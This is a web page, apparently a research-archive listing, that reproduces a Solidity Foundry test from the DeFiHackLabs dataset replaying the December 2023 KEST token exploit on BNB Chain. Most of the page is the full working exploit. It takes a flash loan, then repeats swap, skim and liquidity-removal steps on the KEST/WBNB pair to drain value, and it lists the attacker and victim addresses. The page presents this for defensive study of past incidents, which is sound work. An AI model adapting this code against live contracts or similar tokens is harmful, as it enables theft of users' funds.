Public reproduction file
src/test/2023-12/KEST_exp.sol
Public reproduction file for dataset entry KEST.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "./../basetest.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$2.3K8// Attacker : https://bscscan.com/address/0x90c4c1aa895a086215765ec9639431309633b1989// Attack Contract : https://bscscan.com/address/0xc25979956d6f6acfc3702c68dff7a4d871eee4aa10// Vulnerable Contract : https://bscscan.com/address/0x7dda132dd57b773a94e27c5caa97834a7351042911// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x2fcee04e64e54f3dd9c15db9ae44e4cbdd57ab4c6f01941a3acf470dc60bfc1613// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x7dda132dd57b773a94e27c5caa97834a73510429#code16// @Analysis17// Post-mortem :18// Twitter Guy : https://x.com/MetaSec_xyz/status/173607771984962371819// Hacking God :21contract KESTExploit is BaseTestWithBalanceLog {22 ILendingPool private constant Radiant = ILendingPool(0xd50Cf00b6e600Dd036Ba8eF475677d816d6c4281);23 Uni_Router_V2 private constant PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);24 IERC20 private constant KEST = IERC20(0x7dda132dd57b773a94E27c5CAA97834A73510429);25 IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);26 Uni_Pair_V2 private constant KEST_WBNB = Uni_Pair_V2(0x2D9fFa7ea5D1aAabA58e60168517b49F57E7f85b);28 uint256 private constant flashAmount = 200e18;29 uint256 private constant blocknumToForkFrom = 34_402_343;31 function setUp() public {32 vm.createSelectFork("bsc", blocknumToForkFrom);33 vm.label(address(Radiant), "Radiant");34 vm.label(address(PancakeRouter), "PancakeRouter");35 vm.label(address(KEST), "KEST");36 vm.label(address(WBNB), "WBNB");37 vm.label(address(KEST_WBNB), "KEST_WBNB");38 }40 function testExploit() public {41 emit log_named_decimal_uint(42 "Exploiter WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals()43 );45 address[] memory assets = new address[](1);46 assets[0] = address(WBNB);47 uint256[] memory amounts = new uint256[](1);48 amounts[0] = flashAmount;49 uint256[] memory modes = new uint256[](1);50 modes[0] = 0;51 Radiant.flashLoan(address(this), assets, amounts, modes, address(this), bytes(""), 0);53 emit log_named_decimal_uint(54 "Exploiter WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals()55 );56 }58 function executeOperation(59 address[] calldata assets,60 uint256[] calldata amounts,61 uint256[] calldata premiums,62 address initiator,63 bytes calldata params64 ) external returns (bool) {65 WBNB.approve(address(PancakeRouter), type(uint256).max);66 KEST.approve(address(PancakeRouter), type(uint256).max);67 KEST_WBNB.approve(address(PancakeRouter), type(uint256).max);69 WBNBToKEST(1e16);70 (uint112 reserveKEST, uint112 reserveWBNB,) = KEST_WBNB.getReserves();71 uint256 amountWBNBtoTransfer = PancakeRouter.quote(KEST.balanceOf(address(this)), reserveKEST, reserveWBNB);72 WBNB.transfer(address(KEST_WBNB), amountWBNBtoTransfer);73 KEST.transfer(address(KEST_WBNB), KEST.balanceOf(address(this)));74 KEST_WBNB.mint(address(this));76 uint256 i;77 while (i < 9) {78 WBNBToKEST(WBNB.balanceOf(address(this)));79 uint256 cachedKESTBalance = KEST.balanceOf(address(this));80 KEST.transfer(address(KEST_WBNB), cachedKESTBalance);81 KEST_WBNB.skim(address(KEST_WBNB));82 (reserveKEST, reserveWBNB,) = KEST_WBNB.getReserves();83 uint256 amountIn = KEST.balanceOf(address(KEST_WBNB)) - reserveKEST;84 uint256 amountOut = PancakeRouter.getAmountOut(amountIn, reserveKEST, reserveWBNB);85 KEST_WBNB.swap(0, amountOut, address(this), bytes(""));87 amountOut = (cachedKESTBalance * 75) / 100;88 address[] memory path = new address[](2);89 path[0] = address(WBNB);90 path[1] = address(KEST);91 PancakeRouter.swapTokensForExactTokens(92 amountOut, WBNB.balanceOf(address(this)), path, address(PancakeRouter), block.timestamp + 100093 );95 PancakeRouter.removeLiquidityETHSupportingFeeOnTransferTokens(96 address(KEST), 1e15, 1, 1, address(this), block.timestamp + 100097 );98 KESTToWBNB();99 ++i;100 }101 WBNB.approve(address(Radiant), flashAmount + premiums[0]);102 return true;103 }105 receive() external payable {}107 function WBNBToKEST(108 uint256 amount109 ) private {110 address[] memory path = new address[](2);111 path[0] = address(WBNB);112 path[1] = address(KEST);113 PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(114 amount, 1, path, address(this), block.timestamp + 1000115 );116 }118 function KESTToWBNB() private {119 address[] memory path = new address[](2);120 path[0] = address(KEST);121 path[1] = address(WBNB);122 PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(123 KEST.balanceOf(address(this)), 1, path, address(this), block.timestamp + 1000124 );125 }126}Analysis
Dataset entry
Public Foundry test for “KEST” (2023-12-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
- src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
- src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
- src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
- src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
- src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
- src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
- src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
- src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
- src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
- src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
- src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
- src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
- src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
- src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
- src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
- src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
- src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
- src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
- src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x90c4c1aa895a086215765ec9639431309633b198
- Attack Contract
0xc25979956d6f6acfc3702c68dff7a4d871eee4aa
- Vulnerable Contract
0x7dda132dd57b773a94e27c5caa97834a73510429
- Attack Tx
0x2fcee04e64e54f3dd9c15db9ae44e4cbdd57ab4c6f01941a3acf470dc60bfc16
- Twitter: https://x.com/MetaSec_xyz/status/1736077719849623718
- Explorer: https://bscscan.com/address/0x90c4c1aa895a086215765ec9639431309633b198
- Explorer: https://bscscan.com/address/0xc25979956d6f6acfc3702c68dff7a4d871eee4aa
- Explorer: https://bscscan.com/address/0x7dda132dd57b773a94e27c5caa97834a73510429
- Explorer: https://bscscan.com/address/0x7dda132dd57b773a94e27c5caa97834a73510429#code
File record
- Name
- KEST
- Path
- src/test/2023-12/KEST_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8c70a819758a5a064f135d10ba0849c3037adbea
- Language
- Solidity
- Size
- 127 lines
- Date
- 2023-12-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-12/KEST_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8c70a819758a5a064f135d10ba0849c3037adbea, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.